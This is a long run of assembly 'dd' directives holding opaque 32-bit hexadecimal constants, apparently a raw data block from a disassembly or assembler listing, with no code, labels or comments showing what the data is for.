dd 0DEAEF049h, 0DD303F16h, 0E81248F8h, 31B08032h, 0F3D82185h
dd 9406D5FEh, 0E8F386F8h, 0B7BD291Eh, 71803DA7h, 0B3BE9E1Ch
dd 7812D1A0h, 0DED08D0Fh, 3388B1B9h, 597A0BE6h, 51C01EF4h
dd 0E86492F8h, 0DE6BF1DFh, 94DC81F7h, 38D87F19h, 81FE319Bh
dd 75418532h, 359B6B60h, 18F06180h, 340BE69Dh, 0F03FBD4Ch
dd 0E805140Fh, 841592E0h, 71EC9A07h, 7FA10C39h, 32DAEF04h
dd 4C965FDFh, 0DC36BCB7h, 3F858200h, 9F86B349h, 0B58B09ADh
dd 0DB260E15h, 6D97B32Bh, 213C0A2h, 54C4A283h, 26880741h
dd 0F82040DDh, 6FAE812h, 88A063B7h, 1901D58Fh, 0DB8D755Eh
dd 5100FE8h, 0F4E3A396h, 8600DC5Fh, 0C9F333B2h, 799FD838h
dd 65C6960Fh, 5DA644F1h, 95090108h, 83531CA5h, 0D8A54AA8h
dd 0D1288D1Fh, 0A9606A04h, 0E8F78B0Dh, 0B7065E8Fh, 40FEA01Fh
dd 0B5010A78h, 8310FE9h, 752C2A35h, 0EDB06867h, 0C3DA7E90h
dd 52E8F2C6h, 0E89FADFCh, 0D8DA0622h, 740553D1h, 0DB12AD2Dh
dd 86DD060h, 0FAB58A03h
dd 0AE8B0225h, 0FEAA886Eh, 29608005h, 7441854Ah, 8E18D01h
dd 0C9401C2Dh, 0F4609C2Ah, 0C9A19301h, 0B302634Eh, 1563813Bh
dd 4C887A5Eh, 6918015Ch, 0D619DDDAh, 0EAEC44F7h, 0B15F0242h
dd 5F00432Bh, 8077DBADh, 66F977EEh, 0A7A327BFh, 6007FFD1h
dd 0C9D0B1CDh, 4B474C76h, 42A295h, 0DA614D73h, 9DD8FCE5h
dd 312CF2ECh, 0A82061BCh, 491B5520h, 0A13B6059h, 0F8036040h
dd 0A3E98153h, 5E238879h, 43E83761h, 9CFD0CBh, 3E65B454h
dd 6EA2C538h, 4C256510h, 0A1A772Dh, 543728E8h, 0BCA540EEh
dd 0E6145AB1h, 1281658Bh, 16126185h, 14F195F6h, 0CE1CF4E8h
dd 0EF2F4F75h, 1DA52204h, 49640C0Eh, 9D847796h, 0E8023445h
dd 0BD7504D8h, 0A8BB1258h, 0E56062B6h, 7DBD2122h, 1AA81225h
dd 0B560834Dh, 8FD9B8Dh, 32319589h, 871216B2h, 3DABB96Ch
dd 25FE803Dh, 7FA5C74Eh, 362839E8h, 714E91D4h, 12B0250Eh
dd 0AC81759Bh, 216F3909h, 8DAA604Dh, 4902695Bh, 0D7B60F5Fh
dd 0E2BF2DB7h, 5F16AD4Ch, 98A34EB0h, 3C4F0800h, 0D0196F50h
dd 53BE0255h, 5F5C340Ah, 115FB555h, 80828014h, 0ED8BA9E1h
dd 8039DB2Bh, 38ABA0D1h, 9463CDAh, 0E7D0483Bh, 1A099F19h
dd 186C9DDCh, 2B00E129h, 8D260BD8h, 5082686Dh, 60C78A60h
dd 95241C73h, 0DE072C1Ah, 5B13182Dh, 91E085B6h, 7801274Dh
dd 84EBD571h, 86448B0Fh, 0E28160AFh, 3500928Dh, 0DDEE4940h
dd 1E36E745h, 7FBE58FAh, 22AD9509h, 5B41376Fh, 202FAAB9h
dd 836CBEC9h, 3E37E424h, 51DEFF01h, 0AD6D1A89h, 217043B9h
dd 11CC8AE5h, 42251F69h, 89FECD61h, 0F612FDCCh, 992FF498h
dd 40E41Ch, 0DF98E090h, 510BC924h, 35E2121Eh, 591956C0h
dd 30EDDE23h, 2BDE2F1Bh, 1C5545BDh, 6D8E904Ah, 0A00BA6D2h
dd 2B8FA96h, 93D35825h, 9661C144h, 1A3342FDh, 39CE37F7h
dd 0C23C4182h, 0A7F9EF7Bh, 260A540Eh, 0ADC1C360h, 8075E5FBh
dd 0BC09E7C1h, 6730515Ah, 0A05F6160h, 0B733A58Bh, 6640254Fh
dd 61C0C2CBh, 0ACF66AEEh, 0DB864550h, 0CDC1802Fh, 0D416A08h
dd 0F88311E5h, 0D99B6AFFh, 0A80CA282h, 0FDBB885Dh, 8B1F0B1h
dd 0BD0BFF04h, 0C0164D1Ah, 7D52E271h, 912D6980h, 71F8AD35h
dd 7D381350h, 0ECD33159h, 5F360432h, 81B4A164h, 804D938h
dd 0F1B51533h, 0AC4C3E2Fh, 176CA31h, 0A5DE3E26h, 129F3089h
dd 0FC821B11h, 0C467826h, 11DFE1B7h, 26F55353h, 0AFBE3DA2h
dd 1B001DB7h, 90F43875h, 46ABB4DFh, 0D600C89Fh, 9E551DD8h
dd 99BE230h, 8AD98018h, 9B1A6604h, 132C074h, 9FA38BF4h
dd 56FD84E3h, 81A8DB68h, 0B7C58B86h, 0CF9969CEh, 0C6E18270h
dd 2FDCE95Bh, 17E0C38Dh, 0B56B66Ah, 0D7A8E2B7h, 0A956B9AFh
dd 2E1ABCFAh, 601C4970h, 0BBFE7529h, 961F4000h, 9FBD4C5h
dd 0AF1E94B5h, 0D754ECE2h, 29C909DCh, 4C98A195h, 8D14D181h
dd 5AE0B231h, 2700426Fh, 0BE668353h, 0B8DE93h, 8F01A545h
dd 367DC3F9h, 2D0BEDB8h, 2D5D89Eh, 231353Ch, 54B5C58Ah
dd 0DFF43580h, 4B658D31h, 0C8F8CF23h, 0E47C015h, 3C07DFB9h
dd 0E7BE71C1h, 0D334A2C2h, 2399D0EBh, 0B4C94684h, 0B96A2021h
dd 0C8C40119h, 10B1F833h, 0A7CCA3A9h, 0A5D65B84h, 0E040364Dh
dd 170DAD18h, 30609CD2h, 83C4232Ch, 625EFC01h, 5F26FD7Ah
dd 3E40F8h, 7BB65912h, 0B7C4B8B3h, 0F685EB5Bh, 12EE20EAh
dd 3739195Ch, 705181DEh, 0C0B7310Fh, 7BFB1C6Eh, 905B0800h
dd 0FE6F03BBh, 0FFE24E65h, 0B07AAFh, 0B9EA63B6h, 2F8E22FBh
dd 0D4D36A5Dh, 7A3B6778h, 53DF00CAh, 0A33507BBh, 0F25A9B3h
dd 0D4456A87h, 930440ABh, 0A201F767h, 59E36D41h, 0CB40D305h
dd 4FE453E9h, 0BF1A8807h, 2375AC0Eh, 5E42A2DAh, 0BBDE68h
dd 9F55BB66h, 0E8E26050h, 84DA2EA0h, 0D000817Ah, 38F88672h
dd 0BF5929E1h, 0B3B84E40h, 34771071h, 73598BB5h, 1BFC70DFh
dd 0B3C77C18h, 4FB58940h, 5AB2B2EDh, 83E261A6h, 1C00D171h
dd 0FED4B221h, 81AB0004h, 8BE72D7h, 9AB75F3Dh, 35B777E1h
dd 9D8BF587h, 9F972834h, 9B01D21Bh, 2C97840h, 8BA21103h
dd 10D1FFC1h, 1312315Eh, 0C2045756h, 5B0E0861h, 16194833h
dd 5C6B842Fh, 2D77252h, 687012F3h, 21672DBh, 0D5E272B4h
dd 14F6B09Eh, 2D950161h, 7FC41C15h, 0B1E18DA2h, 28812A2h
dd 904EB710h, 0BFA057E6h, 349E2A99h, 0E947E1B8h, 2C7A0E12h
dd 5341F342h, 5BB16E2Eh, 2421A3A4h, 1EF94B2Fh, 958905FEh
dd 9CA85469h, 0DF946314h, 4C6E5Eh, 65DE6B3Dh, 20910F7h
dd 0CB8041A5h, 90FF5077h, 7849A4A2h, 6A6602BAh, 0E7A0BD7Fh
dd 697D4D40h, 0D3E7505h, 3BD2465h, 0BE0B40ECh, 598C0F61h
dd 64DE82A2h, 0AA9235FFh, 17FCBA09h, 2551F7BEh, 1A873F0Dh
dd 0E099F4B9h, 4AEB8166h, 4B6A343Eh, 7A80A19Bh, 8B0AB70Eh
dd 0A7B5E90Eh, 0AAD577FFh, 7C0AA9Bh, 0E0D4CC4Bh, 9805FC12h
dd 33892C05h, 830112E4h, 0E1C3BC07h, 8001B0EBh, 70C5E6CFh
dd 41C17E60h, 33C13A19h, 4E6BDBB7h, 4810E7ADh, 3241794Ch
dd 0B5C8B6F0h, 31B70746h, 4493C140h, 0E881C4DAh, 0EB868068h
dd 0C8D1DFh, 50369DA8h, 8BB17D99h, 940AD84Fh, 2A108601h
dd 0FCC82B0Fh, 8877D1CEh, 9D5A8975h, 8527ECA2h, 0D3DE4BACh
dd 68F1285Bh, 6D9D1C84h, 22121A34h, 42CA1F7h, 80CEA860h
dd 5DA817Eh, 240B00D6h, 5A0C74B5h, 0E762C6F3h, 11455E4h
dd 42D03B61h, 0F918118Ah, 52E98028h, 850117C2h, 71BFA9D9h
dd 602CA6E3h, 0B0E9CCEEh, 3050900h, 0AB4FCDDEh, 0DF8B1866h
dd 72E9CB5Fh, 84D42297h, 0CD62A24h, 0A5D73015h, 42FE2EA1h
dd 0D32E71E3h, 0C28DD7C9h, 0C2A520D9h, 0D7B58D21h, 123FE3E1h
dd 0D34BAE35h, 0E6A84D6Ah, 0DA4EC07Dh, 6A5A75E7h, 0DE9428C3h
dd 391FED20h, 0BBF0AFB9h, 7305D027h, 42612514h, 5E480982h
dd 0F94F0516h, 0D3FCAF09h, 0EAE1705Eh, 213A2F0Ch, 4BF84EE0h
dd 40798DFCh, 285F23B5h, 0BBB84329h, 0F29D0909h, 8164A119h
dd 0D22BE551h, 8A0C1160h, 80C4C7FCh, 0C233AD20h, 0D0AED164h
dd 757F05ABh, 0F1F209F4h, 0DFB3B070h, 2A57E78h, 0EB1E9CF0h
dd 4D712D7h, 0E0181303h, 88610DFAh, 759D0B33h, 4851002Dh
dd 0BD0C3A2Dh, 8D191B85h, 0D204932h, 4EA7F79Dh, 0F1C2D750h
dd 0BFC10318h, 0D3D8F408h, 4A015819h, 0DAA896BDh, 10997953h
dd 0FA4C2F69h, 5F12F510h, 599A1683h, 0DEBCC29Fh, 8B9F7409h
dd 0CA0156ACh, 0A2472494h, 503D95E3h, 0FF3A9500h, 2E547C9Ah
dd 1112B406h, 60F51C01h, 9270FC5Bh, 52610114h, 0A2CFCF5Fh
dd 144A4EE8h, 42ED584h, 18FDE1FFh, 0AF1321B8h, 30ACCE38h
dd 0C2EB1D12h, 0A798228Fh, 11820531h, 3F02010Dh, 715D5B29h
dd 0A88ECECh, 0E0CB7CC2h, 0F03308Ah, 0E217865Fh, 0EEBCC3EDh
dd 2A32FD00h, 8B6036ACh, 0A0BBDFAh, 2870C57Bh, 16A6585Fh
dd 0B3CE98C1h, 9905EC9Dh, 1DFC1800h, 0DF284C51h, 4E12580h
dd 0DC6C54h, 6CBB381Dh, 1550810h, 7CF49D4Eh, 0BCC9500Ah
dd 7A6AF783h, 0BB2200AEh, 0E6029C14h, 2CD59063h, 629C04F5h
dd 0A7C064BEh, 62823399h, 0BCD95E6Dh, 9F31F0FCh, 72007ABDh
dd 6C79EDA4h, 62E6B550h, 499D17A0h, 53E31B5Ah, 58446E4Ah
dd 0DAB470C9h, 992903DCh, 1C7F03F4h, 9374C6B5h, 29CF5FB0h
dd 61FEEFFh, 22C4F88Ah, 0AAC81583h, 0BEC6810Dh, 0E8408E2Fh
dd 0CB00113Dh, 879C1B7h
dd 0C08B5B5Fh, 0C55DBF7Dh, 7BF316A5h, 6A687B30h, 0F302C21h
dd 5CBB4069h, 58EEC0A4h, 0C0966DB5h, 235760D8h, 152DBD2Eh
dd 0E3815B80h, 58637AD6h, 0CD16D714h, 1D7B21h, 0A6B8759Bh
dd 4B378092h, 0CB16C28Fh, 0D7C82DE3h, 4127E91Bh, 0D0A9D302h
dd 7A3BDC93h, 0D6061EB7h, 6E11749h, 9367A556h, 0F4A37814h
dd 3603DD03h, 82C7F52Eh, 8F3D7D18h, 0D48380BBh, 0D81DBC9h
dd 0C6035BFEh, 6D9FA4EDh, 313CE2FAh, 7075D2E0h, 851229FAh
dd 94B63345h, 307D3E00h, 2A0FEE0Bh, 1BE46703h, 85C59501h
dd 1696F850h, 0A84B05F9h, 8E5389D9h, 11018BCAh, 0FF26D8F0h
dd 3C096E5Eh, 378D0EA2h, 59A0B3F2h, 0FA8A8011h, 4468916h
dd 9D02CE6Fh, 8CDA3EB8h, 6700C466h, 10346AEDh, 0F1DB4ACh
dd 0E20F9619h, 60BB0A00h, 4E5B831Ah, 8DCAEC7h, 905075DFh
dd 0D2195E4Fh, 224AB5B7h, 0BB02F59Ch, 2EAA9B21h, 8DD4650h
dd 3C0BB7C7h, 5247601Fh, 0B951595Ah, 2FFC7B78h, 39BB0E66h
dd 98346165h, 1CBF849Eh, 0B43AFEBCh, 0F10F1C23h, 0CF7A1E5h
dd 0E3C5256Fh, 8C854Ch, 1E794F6Bh, 896D37BEh, 0C52D0A14h
dd 0C68D24F9h, 0DC67DE69h, 0FEDCB716h, 0F089EE9h, 0E9960C85h
dd 0B0913088h, 0C69A0B92h, 2ECD90F8h, 0C4C9E7C1h, 65F8D542h
dd 0F85C214Bh, 294B5776h, 821BC2A0h, 0FE6102A5h, 2F019F6Fh
dd 7F303145h, 79A06023h, 2BF3240h, 6784FCA0h, 65E685C7h
dd 0B56277E1h, 0F081C7CCh, 51EEC9A7h, 7D416F56h, 5AF0E88Ah
dd 33C70EFCh, 160554F6h, 25A8C4A2h, 30E692FAh, 0D9058179h
dd 0BD43E9h, 0E00161ECh, 940FF883h, 0C16EFC82h, 0FC36D836h
dd 11700C30h, 10F4473h, 5A10E8C1h, 4C00610Eh, 965803F8h
dd 0EBE78D5Ch, 6404DE37h, 3316EE39h, 2829501Bh, 58182140h
dd 570113CDh, 8BC01B09h, 6DDB95C0h, 0A0193A70h, 961225FBh
dd 2671886Ah, 0B5193125h, 6D5DE369h, 0D9185CFh, 4E2BF98Bh
dd 0DA42E52Ch, 2EA1FCCDh, 0E418506Eh, 2341A2D5h, 30207599h
dd 209B7897h, 0F8C2013Dh, 0FE199D8Dh, 5E504BE5h, 0A778D69Bh
dd 0C1FD0EB7h, 0D722BEC7h, 625477EFh, 0A1108726h, 1236AD7h
dd 0DF4AAB5Ah, 6A68C7E6h, 0A637B772h, 0CDC62980h, 47BAC7h
dd 0ABDF81A3h, 9607ADA0h, 5087B312h, 0A98E37BFh, 2870F8F3h
dd 0D85CC13Eh, 5965A4D6h, 11B602C4h, 9D92B6DCh, 946050BEh
dd 1FFF6BA4h, 0DB409BE9h, 7BF2BA82h, 0E12B0BBFh, 0F2024D08h
dd 0E55322D1h, 0FCDB46D0h, 89F808B6h, 5381C486h, 5F31F380h
dd 64D4083Ch, 0B37A405Bh, 4C283CAh, 203D895Ch, 4A50EC25h
dd 8E20DB20h, 700596C9h, 0B1DEE0D4h, 74EA80DEh, 2F2C520Bh
dd 0F4D4D4D2h, 516EAFh, 0DA91C8E0h, 137CE175h, 9E6A52C5h
dd 0FE928296h, 5F1B4C3Ah, 6B1A34FCh, 75C8007Ah, 0A639DE57h
dd 2DCF9001h, 474450DBh, 9ABBD8FBh, 85044005h, 0FF864501h
dd 24343BFAh, 2549DE29h, 96C46A70h, 61328E9h, 0FA185BDh
dd 3F6F5F4Ch, 6B847EE1h, 26536B6Dh, 4387C70h, 27357395h
dd 0E59E81D0h, 0CDA00413h, 52BA8B1Fh, 0EF6C10FDh, 518900A2h
dd 0AD42BC80h, 2600E13Fh, 0C407540Bh, 620F8877h, 5AFECE31h
dd 0EE4EB243h, 688A6F9Bh, 78D46B91h, 0ACCE00DEh, 4C2B42DAh
dd 0F286CEAh, 352DB358h, 0D0CA5330h, 0D9009C61h, 84A42B3Ah
dd 9F9D641Bh, 0F2F8CA13h, 1000D4BCh, 2281360Ch, 52C780CCh
dd 18446801h, 0FABD0169h, 4708809Dh, 8853F5C1h, 7C01B9A4h
dd 0AB091646h, 1482E7F8h, 90C41541h, 0C709315Fh, 5F210502h
dd 0B0B1F7A7h, 4D7BE42Eh, 0B3D8F8A0h, 2F8E844Ch, 0E3F39039h
dd 0C6DA2D6Eh, 0D7D058DBh, 47129D45h, 6679286Ch, 0C7601604h
dd 0C4F13D85h, 0E3800E00h, 0CCE90E0Dh, 8434FFF2h, 8BFDD531h
dd 6A362AC1h, 0CCDF4BBEh, 14C05241h, 9D2B5BDEh, 38BB92B9h
dd 0B2CE6090h, 0ED7900ECh, 0CFAFCE3Ch, 9A5B002Bh, 2A8202E0h
dd 0C00C589Ch, 4A615FA4h, 9050E8C8h, 5BB04A5h, 84202723h
dd 80C0AC94h, 2912EE64h, 4B5C0204h, 0F0DB92C3h, 4290A141h
dd 5C2B0AD5h, 0EFBFC2A5h, 0E0F68AFDh, 7882C515h, 4DEAFB6h
dd 3BC80AE2h, 543EC0F5h, 0EA959D31h, 0C9001ABh, 0D6DAE464h
dd 0BD0ADCDCh, 0C64FE666h, 5CAD151Ah, 0B2D3251Dh, 256B70h
dd 12715FE9h, 9E401C2h, 0D795BD2Eh, 62BB508Fh, 0D038E5D8h
dd 8D02B789h, 570F1F5Dh, 0F62CE00Bh, 9A50465Bh, 6C0F714Eh
dd 6FFB525Bh, 0E5300F3Ah, 3162D20Fh, 69135ED9h, 76012C71h
dd 0D7466067h, 2A8951EDh, 13D65BF9h, 1203C625h, 810DBD29h
dd 2BD1FF8Ah, 0C07D0823h, 1A050E7h, 0A2D97430h, 2E532A43h
dd 8B96E928h, 45058FB1h, 58D3014Eh, 6F026ABBh, 5F8005DBh
dd 6E2F1E38h, 820FFC17h, 4EBE0C8h, 1244BC55h, 1020EE90h
dd 0C5783h, 0E738CECFh, 8E67E4B3h, 0B2150800h, 1AA6B020h
dd 0E2109D50h, 75009CDDh, 0E4490693h, 39F7E0D5h, 9880FD25h
dd 5BDF956Ch, 904DE81Eh, 7559BC65h, 3F5405F4h, 0D8CFD780h
dd 0A725E90Fh, 8823E50Dh, 882F6416h, 0F817D984h, 0FBB8A1EDh
dd 393F3501h, 8BB6A915h, 6B215ED2h, 426E4E1h, 0BF562390h
dd 0E7200918h, 258C5F4Bh, 0CD45B17h, 4D1D4821h, 9F0422C0h
dd 7C0B13B5h, 5BE529F9h, 41B584F8h, 0DB3B2D26h, 2D2780CBh
dd 25EE5FE0h, 9CC2D61Bh, 0EDB0BAF7h, 7A6360B2h, 71903D14h
dd 937CF33Bh, 0DEADFF6Ah, 640022B8h, 0AD636F7Ah, 58044876h
dd 945FE74Dh, 3F2AE2A6h, 0B4FE0063h, 462A6C97h, 0BA3C2CD9h
dd 0F6FC1283h, 1A282229h, 17918D09h, 2AFDF602h, 0F905B007h
dd 0E045388Ch, 60EB1FD1h, 0A07AC09Ah, 6653DC3Ah, 8EE32C04h
dd 0BD88E8ECh, 0B5A60075h, 5FFFD74Eh, 7000E65Bh, 2EAD37BBh
dd 1271E452h, 0F481CF80h, 48AE250h, 4DBDD9BFh, 50D9D08h
dd 0BF9FA2E9h, 24C5EF9h, 17C59589h, 10469377h, 3201E938h
dd 0DABD482Bh, 0B0D1FCA4h, 0C4D617DCh, 0A25925E9h, 0F6A900C4h
dd 7059532h, 0F2362F6Fh, 26590740h, 31715F81h, 1A3C596Eh
dd 31FF3939h, 0F5113C0h, 375EC209h, 0A24A3591h, 6C20009Dh
dd 0AF1EB8FDh, 0BA27005Fh, 0A4F41CA7h, 2F09C4FFh, 985556B4h
dd 0FC707FB4h, 0E507026Bh, 39A9447h, 0E95BAA60h, 33254264h
dd 0A74B0AA8h, 0BBB3174Ah, 4E57F930h, 4FFE01A1h, 914C6852h
dd 53222F76h, 0A52A2F1Ch, 98FE1320h, 895B3204h, 8EE1C0C9h
dd 184B612Fh, 5F4004F3h, 0D50A814Eh, 0F75601F6h, 1332DC4Bh
dd 97023EC7h, 75204D8Dh, 99DF443Ah, 4DF1310Ah, 890BFC15h
dd 586BDEABh, 83285E7Fh, 0C920FD9Eh, 0B95F0B25h, 14520E69h
dd 0C9327520h, 0A07FCF8h, 2BA42EEFh, 0E0F5B6C0h, 6029AB0Fh
dd 57D34C23h, 0A7EAD22Bh, 26DB7F12h, 0FC4FBE3h, 0CB18980h
dd 0DE00F097h, 54B4255Ch, 1602B67Eh, 0C8B17908h, 0DE0205D8h
dd 0F0D45C5Fh, 4035FED5h, 463877F4h, 6E797F0Fh, 85071D1Fh
dd 0C5C05764h, 0B820AEFBh, 8CFD5234h, 0B70A884Bh, 0FE356A4Eh
dd 3B9ACC4h, 9067A4Ah, 2436903h, 5E23E18Eh, 0B7B55E21h
dd 0E02100A5h, 0B426043h, 205DBD13h, 52549070h, 0F386004Fh
dd 9B2C3EB2h, 0E1131EF2h, 0D5006057h, 0BFA4CBD9h, 0BBE409C2h
dd 5379616Ch, 30547744h, 0F6016912h, 0C381012Dh, 4EFF6C37h
dd 0E9FC352Eh, 64B80Ch, 0D6105EFAh, 0F5A39068h, 0FFDF8B0Bh
dd 0C04BCDE1h, 0E61B9B0h, 0F57DEC13h, 0EA04AD88h, 354700ACh
dd 0A2E2E1E3h, 680253BEh
dd 5A2A1807h, 50305E21h, 0F482047Dh, 12CE0003h, 2A598D29h
dd 26E99DB6h, 4831802Dh, 61164160h, 1D969210h, 2FF514F8h
dd 8A2F2528h, 78EDB707h, 8F76012h, 8E68D4B0h, 4DF50B97h
dd 0BD21C20Ah, 9B96EA5Ch, 6EBFA453h, 7E9F27BAh, 95082B2h
dd 66CAB1BDh, 2C85A6C1h, 0D5BB87B6h, 0ABF053A9h, 9FE658C6h
dd 0A4B2CD5Eh, 29CB40h, 9278727Ah, 9973B932h, 59E2CE06h
dd 0BBE2A1A6h, 259238D6h, 4628F75Bh, 1712B0C3h, 0D354C1FDh
dd 3B50743Bh, 8A7A19C9h, 0BB6302E8h, 0A2AD96F7h, 402FCB13h
dd 0BAF881h, 64B21132h, 788360CAh, 25B5635h, 8CDB41C5h
dd 0F13E1180h, 3E8936Dh, 4828C930h, 123EF81h, 663FED54h
dd 2B8745BFh, 1A893D29h, 3C59DCCEh, 51374225h, 966D00BDh
dd 597537Bh, 52508100h, 585A310Fh, 3B939559h, 0F5BF1803h
dd 3D7F454Fh, 5A296022h, 6611B18h, 0E03FB6A4h, 0E8AD1E86h
dd 0D918950Ch, 255F9D2Bh, 7E32312h, 0E9EE045Fh, 807B9FDBh
dd 9548BD17h, 2BA9703h, 0CA8024B5h, 34BB22FEh, 159A2564h
dd 929503E6h, 0DE647CDFh, 84BC0C4Fh, 3BC0CD4Ah, 9C808F9Bh
dd 0A29EF7D3h, 822F2205h, 7DC16D55h, 0B7011BB9h, 2606E173h
dd 13AEF4ECh, 1232FC3Fh, 5F6F0B7h, 4E3016B2h, 7DF4B830h
dd 0DCCC9C46h, 0B9F94105h, 0FE8154A8h, 8150471h, 6F801483h
dd 0A81B18CEh, 0E4211E56h, 3C1C402Dh, 0E9C702EFh, 80012938h
dd 795BBBA9h, 16586594h, 0C66198B5h, 9D255AEEh, 9C06EE2Ch
dd 9739DCEAh, 9E8C5F7Eh, 22825A0Fh, 0BB18887Fh, 819800C2h
dd 2DB820CBh, 0DBF66826h, 0D2AD4F2Ch, 437D82Dh, 52CF2899h
dd 0ACE4B9F8h, 29028C19h, 0C61495BBh, 9321DB42h, 44BDB5F9h
dd 9430F8D7h, 0C931CEE9h, 61646199h, 0ABF1B626h, 29E0409Ah
dd 8396359Dh, 1D159586h, 0A09E9559h, 21B5B7h, 3F71E2F6h
dd 9495EA85h, 0A620B5AEh, 86AABF50h, 5B6DEC13h, 0E29668FCh
dd 96640054h, 422482ACh, 3FFF0085h, 3D80D803h, 0A209FB39h
dd 73B3C05Dh, 19115F7Ch, 0D63EE897h, 445A304h, 35B217h
dd 21409D3Ah, 4B517F2Eh, 227B8A3Eh, 0DB81023Bh, 38483A7Ah
dd 2869CB96h, 0DF9A0727h, 3AF3CC25h, 1A497C62h, 54B8FC04h
dd 1CF4BFC1h, 9D56FAB9h, 848535E9h, 87EE9686h, 122A1483h
dd 846535B3h, 96804B59h, 6C6A937Ch, 71D0A53Fh, 0F309BC64h
dd 0D81D9661h, 0D48F1B11h, 0A90E9400h, 0D9951359h, 0CFC8078h
dd 9392ABC2h, 0AFA07500h, 8DBB81C1h, 0BD99A6D1h, 90801137h
dd 0A75A28A1h, 30202FCh, 0E0343D9Dh, 4DC9585Ch, 0B9CEC0B0h
dd 0DE4FCD67h, 971651A0h, 8D40783Ah, 1A9775C9h, 915D454h
dd 3971A008h, 0A9BD2982h, 0EB42DC1Ah, 0D073A07Bh, 9705629h
dd 0B6F5A635h, 0ED955570h, 3650C045h, 69B4ABADh, 97C8540h
dd 0FA192C69h, 0A345153Ah, 80C05B25h, 0B90BCF81h, 79710E10h
dd 0B5298422h, 2B94A185h, 9D897530h, 0D429B551h, 0FB9D595Ah
dd 0FFBB783Fh, 0E1F8550Eh, 66A84069h, 0D4B804BFh, 0A916004Eh
dd 29F09115h, 28723A1Ah, 0E9495CF9h, 8750E65Bh, 20504BA9h
dd 74FD92Dh, 7AB81903h, 9039309Bh, 3A612477h, 60AC7293h
dd 97C2145Ch, 13F58B70h, 9BEC16A8h, 0BB6C80E6h, 29AA260Eh
dd 2E711297h, 0E771DC54h, 504B087Ch, 4BB78E8Ch, 2D888A1Fh
dd 603D4F81h, 4C2C0919h, 5816B573h, 47F8E770h, 162F2910h
dd 6AE8870Fh, 11CADC4h, 9675B761h, 0E1077863h, 903EB987h
dd 0E7FABF82h, 80B6653Ah, 6A01508Eh, 0ED68ABF0h, 0B6AB133Fh
dd 9366E0F4h, 7B90B5C9h, 25057CC1h, 0FC8A5614h, 45C4BC66h
dd 7D322B0Dh, 1862A831h, 0E0604DADh, 79032EBDh, 3970AA16h
dd 0F709F0BCh, 6573B758h, 4D69FA6h, 0F2AAF37Eh, 0D9D02F7h
dd 71685C1Ah, 0F336A57Dh, 0F7A278CEh, 5A12B2E2h, 8B085799h
dd 0EF90A718h, 862709E3h, 58B45E85h, 0BB1C4702h, 0EE685F1Bh
dd 35869A95h, 5C088049h, 15E54DAFh, 8D0FFC12h, 532B398Dh
dd 15B504ACh, 86B25207h, 276F92h, 0CCBBED6Eh, 1658C5C4h
dd 0A8F35EE9h, 0EDC12DD8h, 0FCE1C52Eh, 74222727h, 0B5755A89h
dd 30960046h, 9807E8EAh, 2FBB5C02h, 40451621h, 99BD73Eh
dd 0D98B90F9h, 0B5609A54h, 393F3836h, 0D6802CC2h, 0B1553E8Dh
dd 3702B711h, 0E6362BBCh, 0DC715C90h, 90D17708h, 0C9F51572h
dd 0E856AD4Bh, 9F820009h, 120C2CC9h, 8E5938EFh, 58B54F5Bh
dd 0F093E62Ah, 0A23F8269h, 28C90E8Eh, 73E2412Dh, 0BC966DE4h
dd 0E82C00E5h, 36F3CA69h, 997345Eh, 8937F7F0h, 0BCC13002h
dd 0F484750Dh, 57900526h, 0B1E3CCh, 61F9D97Dh, 0DFA8BACEh
dd 1DB9F40Eh, 505FA58Ch, 0D915CDAAh, 3F2B2981h, 9490AE51h
dd 873C8009h, 2D98DEC5h, 3009D351h, 58166D9h, 22E6A3EBh
dd 2EAC964Bh, 0E1E05CADh, 8345B1h, 0BF39814Fh, 48C88E36h
dd 95BD8B13h, 259C71C6h, 1AE6BA0Ah, 55BD0909h, 5A105E1Bh
dd 2FD4525Ch, 3087FD1Bh, 7EFE3660h, 616B8160h, 4B23D1FFh
dd 2ED4A59Dh, 0E1462628h, 84E2DE3Bh, 3E817383h, 6A002F05h
dd 0BF03F502h, 332920Eh, 5B9FB150h, 0AB380CC9h, 134FE35Ah
dd 52AB9D0Bh, 10D6B6B8h, 0ECE20CC9h, 416F6C42h, 3FBE5640h
dd 0F7EC1208h, 2578B8F8h, 0A9F57318h, 0EB16801Eh, 0F856E10Fh
dd 3C05E807h, 0D4903826h, 0BEBF4565h, 9E884087h, 0C1005E4Dh
dd 0B6FA8C22h, 2697F0A6h, 0B4F25018h, 381940FFh, 4C429571h
dd 5510F301h, 0F0807573h, 97FAAF30h, 0FD35D509h, 18831611h
dd 7E31413Dh, 1D9DECFBh, 66F6392Eh, 406DB05Ch, 0EF3A97D1h
dd 0BD44E5Ch, 0C9BD33DEh, 0CBE460ABh, 0AD7B381Fh, 337277C1h
dd 5666FF6Ah, 8AE0D0F2h, 7B9D1B41h, 81DCD380h, 2ECB2FE3h
dd 2919FC62h, 8F3F658h, 2D851229h, 31D3A931h, 70E6DF05h
dd 144BE43Eh, 1715B9Dh, 1B24A1B4h, 0EFC13EC4h, 0E4012681h
dd 0EE482E71h, 0CF02BFE1h, 58FFB41Fh, 2E0089C6h, 0B917BEFEh
dd 99F6AEh, 9CF85A6Bh, 1EAC7286h, 2320BB12h, 0B7BA09F0h
dd 8FDD118h, 8109C082h, 368701D3h, 0DFBB7C7Fh, 2F6BE933h
dd 0BDE81119h, 0E47299A7h, 31442DF2h, 0A0E49DC8h, 394AB500h
dd 0C05297EAh, 0CB9E015Eh, 8FC9709Ah, 1F1C2F0Ch, 4FBCF8D6h
dd 27A85C9h, 0A177DAFBh, 37E38003h, 0DE63D32Bh, 0A4A00A70h
dd 244A39BDh, 172246F6h, 8495F197h, 0C861BD01h, 7DA03E2Dh
dd 15F3F595h, 0F00825BBh, 984A5CC2h, 549E38F2h, 0FE3114A5h
dd 692EDDFEh, 95940DEh, 3BF58D5Fh, 2B453EB8h, 2ACED60h
dd 0F87CD6E4h, 83BF023Ch, 5C4AFA47h, 0B9ECFDDh, 8029A1B9h
dd 0A6807C37h, 5F9860F9h, 0D4099756h, 8C78F6Dh, 0F04862F0h
dd 252112B9h, 20D4EC56h, 0FC5B2F1Eh, 0BFC0506Dh, 27B7B294h
dd 4267B82Ah, 2C601BE4h, 0B139E640h, 0C0158D5Ch, 0E62F1FBAh
dd 0E56DF0DCh, 12625F75h, 0A039B908h, 82074D9Dh, 0DB4B035Ch
dd 5D8F706Fh, 0FABE6B03h, 4AF5F210h, 4E3BA830h, 0F381EF70h
dd 4B2012CAh, 6E2EF538h, 15879CDEh, 0E67F241Fh, 999D0990h
